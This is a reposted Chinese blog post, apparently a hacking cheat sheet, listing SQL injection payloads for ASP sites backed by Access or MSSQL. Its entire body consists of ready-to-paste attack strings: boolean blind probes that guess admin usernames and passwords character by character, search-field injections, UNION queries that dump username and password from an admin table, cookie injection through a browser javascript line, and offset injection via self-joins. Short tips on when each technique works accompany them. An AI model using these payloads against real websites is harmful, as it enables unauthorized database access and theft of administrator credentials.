码迷,mamicode.com
首页 > 其他好文 > 详细

注入语句详解(get注入,cookie注入,搜索型注入等)

时间:2016-04-28 18:17:39      阅读:144      评论:0      收藏:0      [点我收藏+]

标签:


注意:对于普通的get注入,如果是字符型,前加‘   后加 and ‘‘=‘ 
拆半法 
###################################### 
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。 
and exists (select * from admin) 
and exists(select id from admin) 
and exists(select id from admin where id=1) 
and exists(select id from admin where id>1) 
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 
and exists (select username from admin) 
and exists (select password from admin) 
and exists (select id from admin where len(username)<10 and id=1) 
and exists (select id from admin where len(username)>5 and id=1) 
and exists (select id from admin where len(username)=6 and id=1) 
and exists (select id from admin where len(password)<10 and id=1) 
and exists (select id from admin where len(password)>5 and id=1) 
and exists (select id from admin where len(password)=7 and id=1) 
and (select top 1 asc(mid(username,1,1)) from admin)=97 
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。 
猜第二位把username,1,1改成username,2,1就可以了。 
猜密码把username改成password就OK了 
################################################## 
搜索型注入 
################################## 
%‘ and 1=1 and ‘%‘=‘ 
%‘ and exists (select * from admin) and ‘%‘=‘ 
%‘ and exists(select id from admin where id=1) and ‘%‘=‘ 
%‘ and exists (select id from admin where len(username)<10 and id=1) and ‘%‘=‘ 
%‘ and exists (select id from admin where len(password)=7 and id=1) and ‘%‘=‘ 
%‘ and (select top 1 asc(mid(username,1,1)) from admin)=97 and ‘%‘=‘ 
这里也说明一下,搜索型注入也无他,前加%‘ 后加 and ‘%‘=‘ 
对于MSSQL数据库,后面可以吧 and ‘%‘=‘换成-- 
还有一点搜索型注入也可以使用union语句。 
######################################################## 
联合查询。 
##################################### 
order by 10 
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin 
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1 
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!) 
################################### 


cookie注入 
############################### 
http://www.******.com/shownews.asp?id=127 
http://www.******.com/shownews.asp 
alert(="id="+escape("127")); 
alert(="id="+escape("127 and 1=1")); 
alert(="id="+escape("127 order by 10")); 
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")); 
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。 
################################### 

偏移注入 
########################################################### 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) 
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on 
a.id=d.id) 
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id) 
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 

 

 转载自:http://tiwson.iteye.com/blog/1919349

注入语句详解(get注入,cookie注入,搜索型注入等)

标签:

原文地址:http://www.cnblogs.com/DonAndy/p/5443685.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!